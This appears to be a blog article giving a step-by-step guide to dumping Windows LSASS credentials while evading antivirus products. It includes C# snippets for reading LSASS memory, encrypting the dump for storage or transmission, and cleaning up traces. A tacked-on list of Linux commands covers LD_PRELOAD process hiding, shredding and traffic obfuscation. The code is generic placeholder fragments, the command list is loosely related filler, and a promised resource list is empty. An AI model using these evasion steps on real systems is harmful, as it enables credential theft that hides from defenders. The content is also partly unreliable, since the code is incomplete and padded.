Dump LSASS & Evasion Techniques

2025-02-11

Dumping the LSASS (Local Security Authority Subsystem Service) process is a common technique used in red teaming to extract credentials from a Windows system. However, modern antivirus solutions like Windows Defender, ESET Smart Security Premium, and Trend Micro Maximum Security have become adept at detecting such activities. This article explores advanced evasion techniques to successfully dump LSASS while bypassing these security measures.

Techniques Used:

1. Reflection-Based Obfuscation:

Reflection is used to obfuscate the code, making it harder for antivirus software to detect malicious intent. By dynamically invoking methods and accessing properties, the code becomes less predictable.

Type type = typeof(SomeClass);
MethodInfo method = type.GetMethod("SomeMethod");
method.Invoke(null, null);

2. Minimal Permissions on LSASS Process Handle:

Requesting only the necessary permissions when opening a handle to the LSASS process reduces the likelihood of detection. Overly permissive handles are often flagged by security software.

IntPtr hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, processId);

3. In-Memory Dump:

Instead of writing the dump file to disk, the process memory is dumped directly into the attacker’s memory space. This avoids creating suspicious files on the filesystem.

byte[] buffer = new byte[size];
ReadProcessMemory(hProcess, baseAddress, buffer, size, out bytesRead);

4. Use of SafeFileHandle and DangerousGetHandle:

SafeFileHandle ensures that the handle is properly closed, while DangerousGetHandle allows direct access to the handle for low-level operations.

SafeFileHandle safeHandle = new SafeFileHandle(hProcess, true);
IntPtr rawHandle = safeHandle.DangerousGetHandle();

5. Dynamic Memory Access Using Reflection:

Dynamic memory access techniques are employed to read and manipulate memory without triggering heuristic-based detection mechanisms.

FieldInfo field = typeof(SomeClass).GetField("someField", BindingFlags.NonPublic | BindingFlags.Instance);
object value = field.GetValue(someObject);

6. Encryption and Compression of Dump File:

The dumped data is encrypted and compressed before being written to disk or transmitted over the network. This reduces the chances of detection by signature-based antivirus systems.

using (Aes aes = Aes.Create())
{
aes.Key = key;
aes.IV = iv;
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(buffer, 0, buffer.Length);
}
}
}

7. File Cleanup After Dump Creation:

Any temporary files created during the process are immediately deleted to avoid leaving traces on the target system.

File.Delete(tempFilePath);

8. Character Obfuscation:

Strings and other identifiable data are obfuscated to evade string-based detection mechanisms.

string obfuscatedString = Encoding.UTF8.GetString(Convert.FromBase64String("b2JmdXNjYXRlZFN0cmluZw=="));

What Undercode Say

Dumping LSASS is a critical technique for red teamers, but it requires advanced evasion methods to bypass modern security solutions. The techniques discussed above, such as reflection-based obfuscation, in-memory dumping, and encryption, are essential for staying undetected. Below are some additional Linux and IT-related commands that can be useful in similar scenarios:

Linux Process Dumping:
Use `gcore` to dump the memory of a running process in Linux.
```
gcore -o dumpfile <pid>
```
Memory Analysis with Volatility:

Analyze memory dumps using the Volatility framework.

volatility -f memory.dump --profile=LinuxUbuntu_5_4_0-42-genericx64 linux_pslist

Encrypting Files with OpenSSL:
Encrypt files using OpenSSL for secure storage or transmission.
```
openssl enc -aes-256-cbc -salt -in file.txt -out file.enc
```
File Cleanup in Linux:

Securely delete files to prevent recovery.

shred -u file.txt

Network Traffic Obfuscation:
Use `obfs4` to obfuscate network traffic and bypass DPI (Deep Packet Inspection).
```
obfs4proxy -enableLogging -logLevel DEBUG
```
Process Hiding with LD_PRELOAD:

Hide processes by intercepting system calls using `LD_PRELOAD`.

LD_PRELOAD=/path/to/hide.so ./malicious_program

String Obfuscation in Bash:

Obfuscate strings using base64 encoding.

echo "secret" | base64

Memory Analysis with GDB:

Use GDB to analyze running processes and memory.

gdb -p <pid>

File Compression with Tar and OpenSSL:

Compress and encrypt files using tar and OpenSSL.

tar czf - file.txt | openssl enc -aes-256-cbc -out file.tar.gz.enc

Process Monitoring with Strace:
Monitor system calls and signals of a running process.
```
strace -p <pid>
```

These commands and techniques are invaluable for cybersecurity professionals, whether they are working on Windows or Linux systems. By combining these tools with the evasion methods discussed earlier, red teamers can effectively bypass security measures and achieve their objectives. For further reading, consider exploring the following resources:

In conclusion, the art of evading detection while performing critical operations like LSASS dumping requires a deep understanding of both the target system and the security measures in place. By leveraging advanced techniques and tools, cybersecurity professionals can stay one step ahead of defenders.

References:

Hackers Feeds, Undercode AI